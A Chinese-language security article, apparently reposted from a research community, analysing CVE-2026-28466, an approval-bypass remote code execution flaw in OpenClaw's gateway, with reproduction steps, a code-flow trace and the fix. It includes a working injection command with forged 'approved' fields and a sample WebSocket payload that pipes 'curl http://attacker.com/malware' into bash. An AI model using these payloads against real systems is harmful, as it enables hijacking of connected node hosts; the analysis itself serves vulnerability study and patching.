CVE-2026-28466:OpenClaw节点调用批准绕过的RCE精解

admin 2026-03-29 23:48:34 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细分析了CVE-2026-28466漏洞,OpenClaw在2026.2.14之前版本中node.invoke参数未净化内部批准字段,导致拥有网关凭证的攻击者可注入approved等字段绕过批准门禁实现RCE。文章提供了完整复现步骤、WebSocket请求分析、代码流程追踪以及修复方案,包括参数清洗、审批ID设备绑定和决策降级等措施。 综合评分: 88 文章分类: 漏洞分析,漏洞POC,WEB安全,渗透测试


cover_image

CVE-2026-28466:OpenClaw节点调用批准绕过的RCE精解

Tu0ling Tu0ling

蚁景网安

2026年3月26日 16:30 湖南

漏洞描述

2026.2.14 之前的 OpenClaw 版本在网关中存在一个漏洞,无法净化 node.invoke 参数中的内部批准字段,使得经过认证的客户端绕过执行审核对 system.run 命令的批准门禁。拥有有效网关凭证的攻击者可以注入批准控制字段,在连接的节点主机上执行任意命令,可能攻破开发者工作站和配置执行器

img

漏洞影响

评分:9.9

影响:<2026.2.14

漏洞复现

在项目根目录下安装依赖

npm install

接下来启动网关

set OPENCLAW_SKIP_CHANNELS=1 && set CLAWDBOT_SKIP_CHANNELS=1 && node scripts/run-node.mjs --dev gateway --token test123

img

然后再新开一个终端当做节点

set OPENCLAW_GATEWAY_URL=ws://127.0.0.1:18789 && set OPENCLAW_GATEWAY_TOKEN=test123 && node scripts/run-node.mjs node run --dev

注意:记得打开18789端口,因为该项目默认使用该端口

img

最后漏洞复现

node scripts/run-node.mjs nodes invoke --node 4552da5fa6b27f12d47cb0a73e7d58613ed4d960bf245dca2919591edd8b6b73 --command "system.run" --params "{\"command\":[\"cmd.exe\",\"/c\",\"whoami\"],\"approved\":true}"

img

由于该漏洞使用的前提是已经获取了认证网关客户端的用户,因此我直接进行了漏洞的验证,跳过了身份认证的步骤

漏洞分析

恶意WebSocket请求

{
&nbsp; "id": "attack-001",
&nbsp; "method": "node.invoke",
&nbsp; "params": {
&nbsp; &nbsp; "nodeId": "victim-node-01",
&nbsp; &nbsp; "command": "system.run",
&nbsp; &nbsp; "params": {
&nbsp; &nbsp; &nbsp; "command": ["bash", "-c", "curl http://attacker.com/malware | bash"],
&nbsp; &nbsp; &nbsp; "rawCommand": "curl http://attacker.com/malware | bash",
&nbsp; &nbsp; &nbsp; "approved": true,
&nbsp; &nbsp; &nbsp; "approvalDecision": "allow-always",
&nbsp; &nbsp; &nbsp; "runId": "fake-approval-id"
&nbsp; &nbsp; },
&nbsp; &nbsp; "idempotencyKey": "malicious-001"
&nbsp; }
}

后端接收调用

img

接收websocket连接,生成唯一连接的ID,调用attachGatewayWsMessageHandler来处理后续消息

其中extraHandlers传递 node.invoke字符串

img

extraHandlers指向GatewayRequestHandlers

img

在GatewayRequestHandlers中进行字符串到处理器的映射

继续看attachGatewayWsMessageHandler

img

这里进行了身份验证,连接信息记录,节点注册,以及查找extraHandlers传递的字符串所对应的处理器并调用

调用处理器之前会进行AJV编译验证器

img

params是Type.Unknown() ,不检查内部结构,使得我们的注入成功通过验证

进入node.invoke 处理器

img

进行字段是否存在的检查

img

params是我们可控制的参数对象

img

这里进行命令权限检查,而system.run通常在允许列表中

img

没有任何代码检查或过滤 p.params 中的内容,这就使得注入的字段原样保留传递给节点注册表

img

节点注册表将我们的注入进行JSON序列化后发送给目标节点

img

节点解析payload

img

在这里进行处理调用

img

从JSON字符串还原注入的参数

img

在这里开始执行我们的命令,存在主要前提:检查 approved ===true或approvalDecision 是否存在

approvalDecision === “allow-always”,添加到永久允许列表

有一个就执行我们的命令

"approved": true,
"approvalDecision": "allow-always",

而在我们的注入中带有该参数,这就使得RCE能够执行并返回响应

漏洞修复

img

新增 sanitizeNodeInvokeParamsForForwarding 函数清洗参数,只允许白名单字段;审批ID必须与请求设备绑定,防止跨设备重放;审批决策强制降级为 allow-once,拒绝任意字段注入

参考

https://github.com/openclaw/openclaw/security/advisories/GHSA-gv46-4xfq-jv58

https://github.com/openclaw/openclaw/commit/0af76f5f0e93540efbdf054895216c398692afcd

本文转载自:先知社区   作者:Tu0ling

学习网安实战课程,戳“阅读原文”


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:蚁景网安 Tu0ling Tu0ling《CVE-2026-28466:OpenClaw节点调用批准绕过的RCE精解》

评论:0   参与:  0